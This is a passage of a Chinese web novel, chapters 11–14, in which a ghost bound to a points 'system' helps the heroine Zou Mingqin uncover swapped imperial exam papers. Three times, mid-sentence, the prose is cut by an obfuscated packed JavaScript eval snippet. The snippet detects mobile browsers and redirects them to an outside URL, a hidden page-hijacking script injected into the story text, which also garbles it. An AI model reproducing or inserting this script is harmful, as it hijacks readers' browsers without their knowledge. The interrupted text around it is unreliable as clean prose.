夜视不明,失足跌入水池而溺亡,这是他们对外解释刘丙死因的说法。 那帮人,估计还并不知晓,她昨夜误打误撞,见到了刘丙最后一面。 这也许是他们失算的一环。 除此之外,昨夜的局,做得当真高明。 引她不得不入局,再布下天罗地网。 即便她能够成功逃脱,有用的证据也早就被毁得干干净净了。 “一经发现,便销毁人证物证……” 邹鸣沁一边思索,一边喃喃着。 “怎么会如此及时?” 仿佛她们的所有行为、动向,都在敌人意料之内一般。 她又想起了邹亮。 虽然这几日他没有来访,但现在来看,显然不止是他一个人在监视她。 也许,邹亮就是“甲”派来的一次试探。 先借由邹亮,确认她的身份,而后再在暗处,派人来监视、查探她的行动。 一点点地引诱她、算计她,进而操控她。 邹亮监视她这件事,果真和黄榜案有着千丝万缕的联系。 也许这两件事的背后,是同一股力量在推动。 邹鸣沁敏锐地意识到,如果只是按照目前的线索查下去,或许突破不了“甲”的封锁,只会陷入停滞和危险。 但……若是更隐蔽地沿着邹亮这条线,将计就计,顺势而为。 深挖到底,也许会有意料之外的收获。 邹鸣沁一手扶额,半倚在桌边,闭上了双眼。 还有太多疑问未解决。 思绪混乱,她深吸一口气,而后又轻轻呼出来。 先看今夜的行动吧—— 她要去礼部书库,一探究竟。 11. 第 11 章 探书库 与此同时,姜折阔的意识正迷蒙地游荡着。 他完全动不了,也睁不开双眼。 虚空中,姜折阔拨开周围的黑雾,大声喊着:“喂!不是说关一天就好了吗?” “原定交易:宿主支付自由行动时间24小时,兑换成积分240,换取实体时间120分钟。” 系统的电子音悠悠传来。 “违规记录:按照规定,宿主换取的积分,将在强制禁止行动24后准时发放。因宿主强行突破小黑屋,强行实体化,所以现在额外罚取自由行动时间8小时,请宿主注意。” 电子音毫无情感波动,只是冷静地输出一些让人发疯的坏消息。 “……”姜折阔沉默了。 不是骂不动了,是他真没招了。 这个系统套路好多,坑起人来毫不手软。 姜折阔一朝梦回自己实习时。 系统宛如那种,看着他认认真真投简历、勤勤恳恳面试,最后还在合同里给他埋地雷的hr。 “昨晚那是情况紧急啊!” 姜折阔辩解道。 “我去迟了,邹小姐她们有危险怎么办?” “宿主多虑了~邹小姐是天命之人,主线是既定的,不会因为宿主的行动发生巨大、不可逆转的改变。” 系统再度欠揍地回答。 “不过,昨晚宿主的行动判定为‘帮助邹鸣沁推进事业主线’成功,这边会补偿给您100积分喔~宿主可以使用一部分积分,来维持自己的灵魂形态稳定性呢~” 它不说,他一时都快忘记这件事了。 用自由行动时间来和系统换取积分,本质上类似于贷款,是赔本必亏的做法,只是姜折阔不得不用。 一开始的时候,系统就警告过他,贷款多了但不及时还上的话,他的灵魂体就会被用来“抵债”。 简而言之,就是他的灵魂体会变得越来越虚弱,越来越透明,默认的自由行动的时间也会随之减少。 直至他把贷款的积分全部还清,再用一部分积分来修复灵魂体; 或者达到贷款上限,灵魂体彻底消耗殆尽,他也会被永久关在这间小黑屋里。 “唉……” 姜折阔瘫坐在角落里,心里乱得很。 到底怎么回事呢? 一开始,他明明就已经和邹鸣沁说清楚,自己也想明白了的。 他负责好好摆烂就好了,反正只要不兑换积分,系统也不能拿他怎么样。 可是,是从什么时候开始,他不由自主地就想要助她一臂之力? 天命之人。邹鸣沁的命运是既定的,她注定会走向她的理想。 他呢,则是一个如此平平无奇、毫无优点的人。 上辈子就从未拥有过世俗的成功,这辈子穿越过来,哪怕他有了系统这个“金手指”,也还是完全用不好。 他并不觉得自己能让邹鸣沁倾心,也并不觉得邹鸣沁需要他来帮忙。 姜折阔分明只是好奇,想看看邹鸣沁到底是如何,靠着自己的力量突破桎梏、获得成功的。 她真的能做到吗? 如何做到的过程,当然没有最后的结果重要。 他以为自己只会关心最后的答案,可是为什么? 为什么,他现在却越来越想要帮她,拼尽全力、心甘情愿地,想要她以最顺遂的方式,走到这条路的终点呢? 另一边。 负责在礼部书库驻守的御林军领军,是个颇为正直的人,曾经受过吕晴瞬的举荐之恩。 故而,吕晴瞬早就写信给他,打好了招呼,让他今夜偷偷放邹鸣沁进去。 邹鸣沁出门时,没有像往常一样,选择隐匿的方式和着装。 果然,她刚从邹府侧门走出巷子,便察觉到似乎有人在跟着她。 她的行动,只怕早就被人看在眼里了。 既然如此,那便让你们好好看看吧。 到了书库门口,邹鸣沁戴着面纱,走到在书库门口值岗的军士面前。 她拿出吕晴瞬的手令,对方一看便会意,立即让开身体,为她开了门。 邹鸣沁走入书库,里头燃着几盏灯。 大概是因为书库没有窗,且只有入口那一扇门,平日里也不会轻易打开,所以内部很闷。 烛火燃得并不烈,只环散出一圈黯淡的微光。 这种藏书和文件过多的地方,又不能随意点燃火折子。 邹鸣沁只好借着那昏暗的火光,照着暗格里找出来的那些文章,一排一排地寻找对应作者的档案。 “呼——” 忽然,一阵风吹过,本就微弱的灯火一下子就熄灭了。 “诶?” 邹鸣沁转过头,罪魁祸首有些心虚地挠了挠头。 “怎么这也能熄啊……” 邹鸣沁白了他一眼,心里却又觉得好笑,只好死死憋着。 不知为何,看到姜折阔的一瞬间,她心里轻松了不少。 “快帮我一起找。”邹鸣沁低声道。 姜折阔点点头,飘到另一边,也仔细地对照起档案来。 没过一会儿,他惊喜地叫道:“邹小姐,我找到你的了!” 邹鸣沁顺着他指的地方,拿出了自己的档案。 “好。”她手里也已经找到了另外几人的档案,“还有几个人的,你再帮我找找。” “还有?还有谁的?”姜折阔有些懵。 他刚刚只顾着找邹鸣沁的了。 邹鸣沁想起,那天崔岩雀来的时候,姜折阔已经在沉睡了,所以不清楚也很正常,便把还没找到的几个人名告诉了他。 有了姜折阔帮忙找,邹鸣沁也就暂时从书架子上移开了目光,转而开始拆手中的档案。 她拆的第一份,便是自己的那一份。 打开来,里头还有两层纸封,一层放墨卷,一层放朱卷。 邹鸣沁先是取出朱卷,仔细看了一遍。 果然,朱卷上头的内容,就是暗格里的那一版文章。 她又立马打开墨卷,取出来一比对,不由得心惊。 这张墨卷,并不是她在贡院里考试时自己写的原卷。 它的内容和朱卷上的一模一样,而字迹,又分明是邹鸣沁本人的字迹。 邹鸣沁放下这份档案,打开了手上找到的其她几份档案。 霍慈的,连恻的,还有其她几位鸿雁学堂的女学生的——无一例外,她们档案里的墨卷和朱卷,也都和邹鸣沁的是同种情况。 墨卷真的被换了。 而且,除了文章水准与她们毫不相符,墨卷上的字迹,都能明显看出她们平日里各自的写字习惯。 邹鸣沁在心中稍微捋了一下。 她们在考试时写出原卷,收卷,糊名,誊录。 誊录官刘丙所抄的朱卷与她们的原卷不同,所以,原卷应当在誊录环节之前就被换掉了。 那么,现在的墨卷是什么时候拿出来的? 在收卷和糊名的环节里,虽然可以换下她们的原卷,但不可能有多余的时间,去准备一张字迹与她们相同的替换墨卷。 所以…… “我们在写的时候,那个人也在写。” 邹鸣沁喃喃着。 “什么?”姜折阔听到她说话,问道。 邹鸣沁摇了摇头:“剩下几个人的找到了吗?” 姜折阔点点头,邹鸣沁跟着他走过去,把剩下的几份档案也拿了出来。 这几份,是黄榜上前几名的考生档案。 邹鸣沁拿出他们的墨卷和朱卷,放在灯光下,与她们的仔细比对。 卷子上的内容,全都和刘府书房暗格里发现的文稿一致。 同时,字迹各不相同,应当是有人刻意按照她们的写字习惯去写的。 邹鸣沁发现,包括她在内的女考生,墨卷上头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406407|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的字,与黄榜前几名的男考生比起来,似乎都有些发红。 但灯光太暗,她也不太能确定,只是将这一疑点记在了心里。 “这是你当时写的文章吗?”姜折阔问。 邹鸣沁摇摇头,似乎是觉得他的问题太离谱,忍不住笑了一声。 “怎么可能?” 她并没有刻意夸耀,语气淡淡,却仍然显出一股子倨傲。 “这份墨卷上的文章,把我写得好的地方全删了,改得文意模糊、啰嗦无趣,也难怪中不了榜。” 又观察了好一会儿,邹鸣沁确保自己已经记下了所有细节,应该没有遗漏什么东西,这才按照原来的痕迹,重新封好各份文档,一一放了回去。 姜折阔有些疑惑:“我们不把这些档案拿走吗?” “今夜毕竟不是偷溜进来,是借了公主的名义,被御林军放进来的。” 邹鸣沁摇摇头,解释道。 “若是胡乱拿走,只怕会惹来麻烦,实在没那个必要。” “那倒也确实……”姜折阔问道,“那我们现在是回去吗?我……有事要和你说。” “不,先去一趟公主府。” 邹鸣沁盯着他,上下打量了两下,笑了。 “不过,我也有话要问你。所以你大可不用担心。” 不知缘由地,邹鸣沁感觉心情还不错。 这会儿看着,他倒是没有昨夜那么透明了。 她连小动物都没养过,充其量也就是平时会给传信的飞鸽喂几颗粟米。 姜折阔细胳膊细腿的,长得虽然还算高挑,但时不时就要昏睡过去,平日里也常常是一副气血不足的样子。 第一次“养”鬼,她还不想莫名其妙地就把他给养死了。 姜折阔懵懵地看着她,一时间倒没搞清楚,邹鸣沁为什么笑。 难道是觉得他蠢笨了吗? “恭喜宿主哦~邹小姐对您的好感度上升10点,奖励您200点积分。现在进行具体好感值查询……*#%&!故障提示,故障提示,抱歉,系统无法检测对象‘邹鸣沁’的具体好感值,抱歉。” 他还没琢磨过来,系统忽然在他脑中噼里啪啦输出了这么一段。 好感度?上升10点??! 姜折阔大脑宕机,更琢磨不过来了。 系统从一开始就是这样,一查邹鸣沁的具体好感度就出bug,姜折阔已经习惯了。 但……收到邹鸣沁对他好感度提升的通知,这还是第一次。 虽然不知道现在的好感度总值是多少,但当然不会太高。 所以,邹小姐也许只是对他更信任了一些…… 可是,可是……! 姜折阔好想大喊出声,但邹鸣沁就在他旁边,他自然不能喊出声来。 只好揣着一颗乱跳的心,鼓足了劲在空中转了好几圈。 “怎么了?” 他的异常,惹来邹鸣沁的注意。 姜折阔回过头,正好对上她的双眼。 他深深地吸气,又轻轻地把气吐出。 难道……难道她对他有好感吗? 他有在招她的喜欢吗? 不,不不不。 姜折阔强压住心绪。 邹小姐连人都不喜欢,更不可能喜欢鬼了。 或许,她只是开始把自己当成朋友了。 “没事没事。” 姜折阔回答道。 邹鸣沁皱了皱眉:“真有事的话,不要憋着,说出来就好。” 说完,她移开了目光。 徒留姜折阔一只鬼,呆呆地愣在原处。 呃啊。 他刚刚才努力平静下去的少男心啊。 可是,可是…… 可是啊啊啊啊啊啊! “嗯!” 姜折阔一边继续在心里大喊大叫,一边应着声跟了上去,紧紧地飘在邹鸣沁身后。 12. 第12章 晴瞬心 深夜,晴瞬公主府。 邹鸣沁把在礼部书库中有关墨卷和朱卷信息,都详细汇报给了吕晴瞬。 “做得还真是天衣无缝……哪怕是我们知道了不对劲,却连一丁点证据都找不到。” 吕晴瞬皱眉道。 “而且,现在你的行踪也暴露在对方那里,只怕接下来,这案子会越来越不好调查。就算是揪到什么线索,也会被对方立即销毁,就像那个刘丙一样……” 邹鸣沁点点头。 但她没有灰心,只是安慰道:“虽然现在主动权全然不在我们手上,但也不是没有破局之道。” “你想将计就计?”吕晴瞬猜出她的想法。 “对方既然派人来监视,估计也做好了被我发现的准备。” 邹鸣沁一手托起脸,分析道。 “不过,对方应该很自信于我即使知道了他们的存在,也没法通过他们反击。” 追查邹亮的事,崔岩雀没有亲身去做,而是专门委托了一个暗卫。 那人叫梁吹,做事很妥当也很隐蔽,精通易容术,且非常善于伪装。 她也是吕晴瞬手下身份最多、隐藏最深的暗卫。 所以,敌人大抵还不知道邹亮已经被她盯上。 “也有另一种可能。” 吕晴瞬喝了口茶。 “对方很确信,就算你察觉到了邹亮,从他身上也查不出什么东西。” 邹鸣沁笑出了声。 这倒没错,确实是如此——虽然查了这么些个日子,但她们真的还没在邹亮身上获得什么有效信息。 多亏姜折阔用系统预测了邹亮的卧底身份,心里有了底,她才舍得让梁吹继续锲而不舍地深挖下去。 唯一借由邹亮推测出的邹宇下落,也是在孙氏医馆偶然得知。 “那就是我们运气好了。”邹鸣沁笑道,“哪怕是十成中,对方有九成确信我查不到,可毕竟还有剩下那一成。” “对了,你方才说的那个推断。” 吕晴瞬凑近了些,正色道。 “那些人,要如何才能做到,与考场上的你们同时写出替换的墨卷?你可有想法?” “主考官宋太傅是监考之人,手下必然也有可派遣的巡考使。” 邹鸣沁早已在来的路上思索了许久,便将自己大致的推断说了出来。 “若是我来策划这件事,那就会让记忆持久的巡考使去特定的考生旁监考,而后趁机记住她们已经写下的内容。这时候,把记下的文段同时转述给替写墨卷之人,先修改成现下的版本,再由擅于模仿字迹者抄下。” 吕晴瞬恍然大悟:“若是这么做,还真能办到……且确实是足够隐秘。” “没错。虽然不确定那些人是不是这样做的,但我们可以先解决已经确定的问题。” 邹鸣沁的手指叩在桌面上,她沉思着。 “比如……模仿我们笔迹的人,是谁?” 鸿雁学堂中,参加这次科考的女子,虽然从前也写过诗词、著过文章,但几乎都没有机会传到外头去。 她们并不显才名,也不太可能会有流落在外的手稿。 所以,要习得她们的字迹,没有那么容易。 多多少少,是要与她们皆熟识,且常有机会见到她们写字的人。 吕晴瞬的眼中,闪过一抹冷肃。 二人对视的瞬间,知道彼此都在暗自心惊。 “那人……说不定是学堂中的人。也许是老师,又或许是学生……可,会是谁呢?” 邹鸣沁的脑中,学堂各人的名字一个接一个地闪过。 按理来说,学堂里最不可能会出叛徒。 鸿雁学堂招收的第一批女学生,既有出身名门的贵小姐,也有身份低微的民间女。 但无论如何,在她们正式进入书塾之前,邹鸣沁都对她们做过调查。 至少保证家世干净、知根知底,才会让她们入读学堂。 那些女孩子,也大多都向往入仕做官,读书、中举是她们的心愿,又怎么会在这样一场事关重大的春闱中,选择背叛所有人,投奔敌方呢? 她将学堂里的所有人都寻思了一遍,也没想出有哪一位是不对劲的。 但邹鸣沁又始终觉得,自己似乎隐隐忽略了什么。 只是一时间,怎么也想不起来。 “不管怎样,若真是学堂中有人做出了这种事,想必也并非她本意。” 邹鸣沁叹了口气,道。 她说完这句话,吕晴瞬却依旧沉默着,没有给出回应。 只是良久后,才轻声喃喃了一句,“或许吧。” 邹鸣沁心中沉了沉,却也无话可说,只是暗自又在心中叹了叹气。 吕晴瞬,毕竟是这个皇朝的公主。 况且,她还是一位手握权势、野心勃勃、意在夺嫡的公主。 她光华万丈,比她的所有兄弟都要更适合做皇帝。 所以,邹鸣沁自一开始投入她门下时,便已经清楚。 吕晴瞬往后,必然与历史上每一位强势的帝皇一样,既怀着牵系万民的贤德佛心,又拥有果决狠辣的雷霆铁腕。 在她眼中,每一条为她所用的人命,都早已标好了价值。 所以对于吕晴瞬来说,邹鸣沁的命,就是比崔岩雀的命更宝贵; 而同样的,无论叛徒有什么样的矛盾与苦楚,叛徒就是叛徒。 吕晴瞬甚至可以原谅她,但却一定不会放过她。 . . 商议过后,已过丑时。 更深露重,吕晴瞬邀她留下,在公主府上暂住一夜。 但邹鸣沁还是婉言拒绝,坚持要回邹府。 “……行吧。” 吕晴瞬有些失落,忍不住仔仔细细、来来回回地盯着邹鸣沁,试图从她的脸上看出些什么。 她隐隐察觉到,邹鸣沁的心中,也对她有着避之不及的畏惧与疏离。 她自然最清楚其中缘由,也知晓邹鸣沁这样做,才是最最得宜。 但还是不免在心间琢磨着,渐渐咀嚼出了几分酸涩。 “那你坐我府上的马车回去,我现在就让人去备车。” 邹鸣沁点点头:“多谢殿下。” “不必说这些无用的话。” 吕晴瞬还是不由自主地将一丝烦心挂在了脸上。 但顿了一会儿,她咂咂嘴,又不情愿地补上了一句。 “很晚了,你快些归去罢。我自会多挑几个身手了得的暗卫,一路护送你回去。” 邹鸣沁闻言,颇为大逆不道地笑出了声。 “怎么!你还不乐意?”吕晴瞬心中种种,顿时搅和在一起炸了锅。 她摇摇头,竟还无辜道:“我都笑了,哪里是不乐意的样子?” 吕晴瞬看不得她这副卖乖的模样,气鼓鼓地转过头去。 “我只是在想……原来你也会如此多虑。”邹鸣沁道。 “哪里是多虑?”吕晴瞬又忿忿地转了回来,“刘府那日,你都险些要被那群贼人捉住杀了!后面我派暗卫去查,也没探出那群人是什么来处。” “现下还要继续查案,一日不揪出这事的来龙去脉,便一日不能确保你的安危。” 邹鸣沁看见,她双眼莹润发红,竟然是含了泪。 她不由得愣住。 她的本意,哪里是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406408|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹吕晴瞬伤心? 反倒是觉察到二人之间的气氛古怪,这才想要出言逗趣,好与她调解一番。 “邹鸣沁,本宫的关心,竟被你说成多虑。你真是吃了熊心豹子胆,本宫竟不知自己在你心中,还有几分权重?” 闻言,她也有些怔愣。 吕晴瞬的心思是何等敏感,这番话又是说得何等真挚。 虽是在责骂她,却半分没有要压制、威迫之意。 邹鸣沁张了张嘴,一时间却不知该说些什么来回应。 最后,也只是朝她深深鞠了一躬。 “惹怒殿下,并非我本意,铭覃……愿当万罪。” 吕晴瞬牙齿龃龉,许是一声“滚”都已经滚上了喉间。 但最终还是没能脱口,只是转身一拍桌案,挥袖道。 “你且回罢!” . . 吕晴瞬给她准备的马车很好,驶起来很稳当,车中铺着厚实的软垫。 车内很暖和,外头寒凉的夜风一丝也透不进来。 姜折阔坐在她对面,偷偷看了她好几次,似乎是想和她说些什么,却又不好开口。 邹鸣沁脑中,仍然在回想着方才和吕晴瞬的对话。 晴瞬对她说出这样的话,自二人相识以来,还是第一次。 她自幼便是极有主见之人,对于身边众人,也自有一套相处之道。 谁人可全盘交付,谁人可深交、却又始终应当留空一寸,谁人需表面交好……她与每个人交往之时,都早已有了定论。 吕晴瞬首先是她所侍奉的明主,而后是她所信任的盟友,再是她所押注的储君,最后才是她所欣赏的朋友。 邹鸣沁相信,吕晴瞬一定也明白这一点。 既然明白,那又为什么会生气呢? “姜折阔。” 她想不明白,干脆叫姜折阔来解解惑。 “我方才说的话,很伤人心吗?” 姜折阔愣了愣,而后犹豫道:“你要听实话吗?” “废话。”邹鸣沁道。 “仅代表我自己的想法啊……”姜折阔叹了口气,“她那么站在你的角度,替你考虑,为你付出了许多。你却说她多虑,这样听起来就怪怪的,容易让她误会,以为你的言下之意是说她一直在做无用功。” 剩下的,姜折阔没说,但她也懂了。 换而言之,能不生气吗? 邹鸣沁回过味来,这才觉得心里不是滋味。 “可我不是那个意思。” 她有些无所适从。 “何况,说到底她是我要侍奉、辅佐的人,我们虽如友人一般交游,却永远不可能真正抛开身份相处。” 姜折阔想了想:“道理虽然是这样,可你没必要说得那么直白,把这一切都戳破嘛。” “又不是我先戳破……!”邹鸣沁听他这么说,忍不住提高了声音。 他一看她也要生气,急忙住了嘴。 “我错了我错了。我嘴比较笨,但也不是要说你不对。” 邹鸣沁虽没说什么,但也不再说下去,只是转过头,打开了车窗。 夜风混着水汽涌入车厢中,邹鸣沁深深地呼吸着,却还是压不住心烦意乱。 罢了,她本来也不该问姜折阔。 这毕竟是她和晴瞬之间的事。 也许,也许…… 也许放着不管,过几天便好了。 她们自然可以当作无事发生,一切如常。 又或许,这也是一个机会,能让晴瞬彻底明白—— 她们就是不可能平等地、不带任何隔阂与阻碍地坐在一起,单单只是做一对挚友。 13. 第 13 章 第二日,邹鸣沁难得地起迟了。 幸好没有迟多少,她慌慌张张地起床,梳妆洗漱。 出门前经过正厅时,还被楚嫦叫住。 “难得早上还能在家中见到你。”她打趣着说道。 “娘!”邹鸣沁有些无奈。 楚嫦走上前,拉住她的手,脸上的笑却在看见她手上的布条时僵住。 “什么时候伤的?”她道,“是前夜吗?昨夜你是坐着公主府的马车回来的,那就应该是前夜……” 邹鸣沁一愣:“那么晚,你不是睡下了么?我……我太吵,惊扰了你入睡,对不对?” “没有,就是我自己多心。” 楚嫦不肯让她转移话题,又续道。 “你身子根底不好,不要逞强。在外行事,受些剐蹭亦然是平常,但也不要瞒着娘。” 她还以为,楚嫦会责怪自己在家陪伴的时间太少,且总是冒险。 没想到楚嫦会这样说,邹鸣沁不免动容。 “娘,你就不怪我早出晚归,还日日做些不让你知道的事么?” “可我有哪次怪完了你,你就真能把我的话听进去的?”楚嫦反倒笑了。 顿了一会儿,她的神色宽缓下来。 “何况,眼下你走的路,我从前也曾幻想过一场。我恨不能看你平平安安、又快又好地走到最后,让我知道,这条路的尽头,究竟是何模样,有甚美景……” 邹鸣沁愣愣地听她说完这番话,心中震颤。 过了好一会儿,她才拉住母亲的手,珍重地点了点头。 “我一定会的,娘。” 楚嫦笑了笑,只是折返回房中,过一会儿走出来,手里多了块方帕子。 她用方帕子包了几块桃酥,递给邹鸣沁:“既然今日见到你,便拿去路上吃吧?” “娘,这几块小点心,我哪里吃得饱?” 邹鸣沁笑着说道,语气里却藏了几分撒娇的意思。 楚嫦耸了耸肩:“那没法子。谁让你日日不在府上用早饭,我才没让长锦买你的份儿呢。” 见她还在笑,楚嫦拍了拍她的肩,催促道。 “好了,不是还有事要做么?快去吧!” . . 邹鸣沁捏着那几块桃酥,坐在马车上。 在微微的颠簸里,她小心翼翼地把它们取出来,用手盛着慢慢吃。 “邹小姐,你妈妈对你真好啊。”姜折阔双手托着腮道。 邹鸣沁颇有些得意:“那是自然啊。” 他笑了笑,心中不知为何,也觉得暖暖的。 也是,若不是这样的母亲,又怎么能教养得出邹鸣沁这样的人呢? 健全,自信,强大,坚韧,无畏。 “对了,姜折阔。”邹鸣沁吃到最后一块,忽然叫了他一声。 姜折阔忙应道:“啊!怎么了?” “你上次,不是变成实体了么?” 邹鸣沁把手里的桃酥,向他递了递。 “若是还能变成实体的话,你应当也吃得了这个吧?” 他微微瞪大了双眼。 而后,也不知道该说是惊讶,还是奇异。 姜折阔笑了:“邹小姐,你总是能说出一些完全在我意料之外的话。” 这话一时间让听者分不出是好是坏,他想到这一点,赶紧补充道:“不过,并不会让人觉得不舒服。” “我只是注意到,你方才一直在盯着我吃桃酥。” 对于他的话,邹鸣沁似乎全然不在意,只是问道。 “那你到底是要,还是不要?” 老实说,就算是要过来了,对他来说也没用。 他现在的状态,就算是实体化,也不能拥有正常人类的大部分知觉,估计吃也吃不出什么味道,只能白白浪费了这块桃酥。 何况,他化为实体的每一秒,背后可都是系统积分在熊熊燃烧。 若只是拿来吃块桃酥,未免也太亏了。 但鬼使神差的,姜折阔就是想要。 他说不清楚自己是怎么想的,只是觉得,就算邹鸣沁之后再给他一块一模一样的,那也不是这一块了。 于是,姜折阔轻轻点了点头。 “行,伸手吧。” 邹鸣沁把桃酥用帕子包好,送到他跟前。 姜折阔伸出左手。 随着系统的提示音在脑中响起,他的左手由半透明的形态,迅速变为了实体。 入夏了。 姜折阔的手指有了知觉,最先触碰到的,是初夏微微闷热,而又带着微微湿润的空气。 而后,是她把桃酥放到他手中,手指也随之轻轻刮过姜折阔的手心。 存在感很轻微的、转瞬即逝的温度。 仿佛,她不过是从指缝之间,遗漏了几寸阳光。 姜折阔接到手中,却真真切切地感受到了暖意。 他脑中闪过一个荒唐的念头:难道她手里握着的,不是桃酥,而是一小块太阳的碎屑吗? 然而,他又很清楚。 当然不是这样,邹鸣沁也无需将太阳握在手中。 做人的日子,距离他已经很远了; 而鬼魂的躯体又实在是太冷,分明她只需要像这样,用掌心的温度去触碰,就已经足够将他融化了。 “系统提示:宿主,为方便您自测自省,明确任务目标,系统将为您开通宿主好感度量化提醒。开启中……” 姜折阔:? “宿主,您的爱情线任务严重未达标,具体进度不详,同时查询到:您对‘邹鸣沁’的好感度,当前为58点。” 什么意思。 ——嗯?!?! 系统不说还好,这一说不仅打断了他方才所想,还惊得他心跳加速起来。 这坑到家门口的系统,查询不了邹小姐的好感度,却能清清楚楚地查出他的? 而且,还是—— 姜折阔猛一抬头,又对上邹鸣沁的双眼。 咚,咚,咚。 她似乎被他盯得有些疑惑起来:“干什么?” “啊……啊,没事。” 58点。 原来是他被攻略了啊……那没什么事了。 实体化仍然在生效中,积分不断扣除的系统提醒,仍在他脑中响着。 姜折阔连忙把桃酥放进嘴里,嚼了两下便咽了下去。 身体重新虚化,对周遭一切的触感再度如潮水般褪去。 同一时刻,浅淡的悲伤却像潮水一样,又轻轻漫上了姜折阔的心田。 “好吃吗?” 他听见邹鸣沁这么问道。 “特别好吃!” 姜折阔咧开嘴,朝她笑。 他顿了一会儿,才忍不住又问:“邹小姐……下一次有机会,我也请你吃点好吃的吧?” “好啊。不过……” 邹鸣沁爽快地点了点头,又有些犹豫地开口。 “昨夜还没来得及问你的事,现下不如就顺便同你说吧,正好也是与此有关的。” 那时她们刚从礼部书库出来,本就说好在去完公主府之后要好好谈谈。 不过,昨晚她和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409429|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴瞬闹过不愉快后,她就一直在不由自主地回想这件事,自然也没了和姜折阔谈话的心思。 一夜没睡好,也与此脱不开干系。 姜折阔点头道:“是,我们昨天说过的。” “那就从在刘府那一夜说起吧。” 邹鸣沁直截了当道。 “你前前后后睡了总共一天半——显而易见,这就是你和系统交换的代价,对不对?你上一次给我的答案是单纯懒困……真的吗?” 他叹了口气,也没再继续瞒下去。 “是。准确来说,我不是在睡觉,而是被剥夺了自主行动的时间。” 邹鸣沁皱起眉头:“……被剥夺自主行动?” “嗯。”姜折阔呼出一口气,“系统内有一种统一的货币,可以换取各类物品,包括像之前那样预测得来的消息,还有现在这样我可以实体化的时间。” 邹鸣沁道:“难道你就只能通过这种方式,来获取货币吗?” “也不是。” 姜折阔摇摇头。 “你还记得我和你第一次见,我说的那些话吗?想要没有损失地赚取货币,我有两个选择:和你……呃,发展感情,或者帮助你搞事业。” “原来如此。”邹鸣沁若有所思。 “不过,我有自知之明。邹小姐,你这么厉害、这么好的人,完全没有理由来喜欢我。而我什么用都没有,自然也帮不上你什么忙就是了。” 姜折阔笑笑,道。 “既然这两个选择,是可以让你没有损失的……” 邹鸣沁敏锐地抓住了他话中的重点。 “那,如果你继续以现在这种办法,去换那些货币,你是不是会受伤?” “是会有点,比如灵体越来越透明,自主行动的时间越来越少……” 姜折阔简略说了两句,见她脸色越发凝重,反倒不敢说下去了。 “不过,也没那么严重啦!这是一个很缓慢的过程。” 她显然是不可能信他的找补,咬紧了牙,而后猛然抬头。 “既如此,往后你更不要再傻傻地换这些积分了。我和你本无联系,我虽背过不少人命,可还不想害死一只无冤无仇的鬼。” 闻言,姜折阔愣住了。 这话,是要同他彻底撇清关系吗? 她宁愿像一开始那样,只是让他作个旁观者,也不愿让他助一份力么? 然而,还没等他多想,邹鸣沁又开了口。 “若我要你,从此以后同我共事,和我一起走眼下这条路——我需要付出些什么?” 姜折阔听懂了她的意思。 原来如此! 他早该想到的啊——系统对于邹鸣沁而言,是不可知的莫测存在,与妖魔鬼神无异。 难怪她从一开始,就没有想过要借助他和系统的力量。 “你什么都不用付出。” 姜折阔有些激动地说道。 “你只需要走原本的路,就按你心中所想、所愿去做,就好了。” 她还是有些狐疑:“真的?可世上没有只挣不亏的事。” 姜折阔用力摇头。 “真的。因为我能帮到你的并不多。你走的每一步都是天命所归,你所获得的,你所要付出的,那都是你自己才能决定的事。我所能做的,只不过是让你走得更顺利、更快意些。” 他认认真真地看着邹鸣沁的眼睛,说道。 “邹小姐。你的理想,一定会实现。无论你决定要辅佐的人是谁,无论你选择谁来成为同伴——你都会拥有辉煌、温暖、光亮的一生。” 14. 第 14 章 扬名势 “我保证……” 还想说,邹鸣沁的手却忽然捂了上来。 虽然她实际上是捂不住他的嘴的,但姜折阔还是噤了声。 “怎、怎么了?” 邹鸣沁看着有些紧张:“你又和系统换了什么消息?” “啊?”姜折阔呆呆地看着她。 “傻啊!下次别再浪费了,换个我不知道的,行不行?” 他还没反应过来,邹鸣沁收回了手,有些没好气地靠回了车厢后座,微微昂起头。 “我自己是什么样的人,我能做成什么样的事——这些我难道不知道么?” 她话锋一转,又显出几分笃定之外的傲气:“何况,人生还有那么长,何必早早知道结局?反倒听得人不爽。哪怕真是像你说得那么好——” “我也不要这一切,在此刻就盖棺定论。” 这就是邹鸣沁。 分明平日里做事果断、决策成熟是她;杀人不过头点地、下定决心便眼都不眨的是她。 可此刻说着“哪怕真是像你说得那么好,我也不要这一切,在此刻就盖棺定论”的也是她。 肆意张扬、野心勃勃、鲜活而年青至极的,是她。 姜折阔听得又是心中一震,几乎想要笑出声,最终却又只是微微勾起嘴角,深吸一口气。 